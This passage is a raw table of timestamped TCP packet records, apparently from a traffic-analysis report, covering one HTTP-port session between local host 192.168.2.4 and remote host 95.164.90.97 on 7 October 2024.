Oct 7, 2024 18:43:29.157067060 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.157068014 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.157077074 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.157082081 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.157094002 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.157095909 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.157103062 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.157119989 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.157131910 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.218121052 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.218167067 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.218225956 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.218264103 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.218384981 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.218408108 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.218422890 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.218424082 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.218439102 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.218442917 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.218453884 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.218457937 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.218471050 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.218494892 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.218494892 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.218503952 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.218513966 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.218518972 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.218533993 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.218540907 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.218549013 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.218559980 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.218563080 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.218575954 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.218585014 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.218594074 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.218600035 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.218610048 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.218622923 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.218641996 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.237328053 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.237346888 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.237363100 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.237379074 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.237384081 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.237397909 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.237425089 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.237442017 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.237456083 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.237471104 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.237478018 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.237488031 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.237489939 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.237503052 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.237637043 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.237649918 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.237663031 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.237673044 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.237694979 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.237818956 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.237832069 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.237857103 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.237868071 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.237911940 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.237926960 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.237951040 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.237972021 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.238218069 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.238233089 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.238246918 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.238260984 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.238270044 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.238289118 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.239231110 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.239293098 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.239360094 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.239375114 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.239403009 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.239408970 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.239411116 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.239423990 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.239485025 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.239507914 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.239522934 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.239537001 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.239545107 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.239568949 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.239583015 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240010023 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240024090 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240039110 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240046024 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240052938 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240065098 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240067005 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240082979 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240094900 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240104914 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240114927 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240119934 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240134954 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240139961 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240148067 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240159035 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240161896 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240173101 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240175962 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240190029 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240192890 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240204096 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240215063 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240221977 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240250111 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240253925 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240267992 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240272045 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240283012 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240298986 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240329981 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240344048 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240353107 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240358114 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240360975 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240371943 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240386009 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240386009 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240401030 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240403891 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240413904 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240426064 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240437984 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240452051 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240453005 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240468979 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240482092 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240483999 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240495920 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240508080 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240511894 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240536928 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240554094 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240601063 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240616083 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240629911 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240636110 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240645885 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240653992 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240662098 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240668058 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240675926 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240686893 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240693092 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240699053 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240705967 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240712881 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240726948 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240727901 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240741014 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240753889 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240766048 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240787029 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240791082 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240802050 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.240823984 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.240837097 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241045952 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241048098 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241061926 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241076946 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241080046 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241090059 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241091013 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241105080 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241115093 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241120100 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241138935 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241152048 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241163969 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241174936 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241187096 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241189003 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241204023 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241209030 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241220951 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241224051 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241238117 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241240025 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241240025 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241254091 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241266966 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241280079 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241292000 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241302967 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241317034 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241333961 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241337061 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241355896 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241359949 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241374016 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241379976 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241388083 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241391897 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241401911 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241404057 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241417885 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241421938 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241434097 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241451025 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241452932 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241466999 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241473913 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241477966 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241487980 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241492987 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241506100 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241506100 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241520882 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241529942 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241544008 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241550922 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241564989 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241573095 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241580009 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241585016 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241594076 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.241605043 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241619110 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.241631031 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.302917957 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.302937031 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.302953005 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.302972078 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.302997112 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.303210020 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.303242922 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.303252935 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.303257942 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.303272963 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.303278923 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.303288937 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.303297043 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.303303957 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.303308010 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.303318977 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.303329945 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.303333044 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.303344011 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.303348064 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.303356886 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.303360939 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.303375006 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.303375959 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.303394079 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.303396940 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.303420067 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.303441048 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.321794987 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.321809053 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.321824074 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.321847916 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.321865082 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.321990967 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.322005987 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.322021961 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.322027922 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.322037935 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.322047949 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.322066069 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.322082043 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.322772980 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.322788000 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.322802067 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.322810888 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.322827101 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.322844028 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.322881937 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.322896957 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.322911978 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.322917938 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.322927952 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.322937012 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.322957039 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.322973967 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.323744059 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.323759079 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.323775053 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.323796034 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.323812008 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.323812962 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.323827982 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.323849916 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.323877096 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.323942900 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.323959112 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.323971987 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.323982000 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.324007034 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.324795008 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.324810028 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.324825048 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.324841022 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.324856997 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.324882030 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.324886084 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.324901104 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.324914932 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.324919939 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.324929953 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.324933052 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.324944019 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.324944973 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.324968100 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.324975014 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.324978113 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.324991941 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325007915 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325014114 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325022936 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325031042 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325036049 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325046062 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325057030 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325068951 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325071096 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325088024 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325099945 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325103045 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325113058 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325123072 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325128078 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325133085 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325140953 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.325150013 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.325156927 CEST	80	49742	95.164.90.97	192.168.2.4
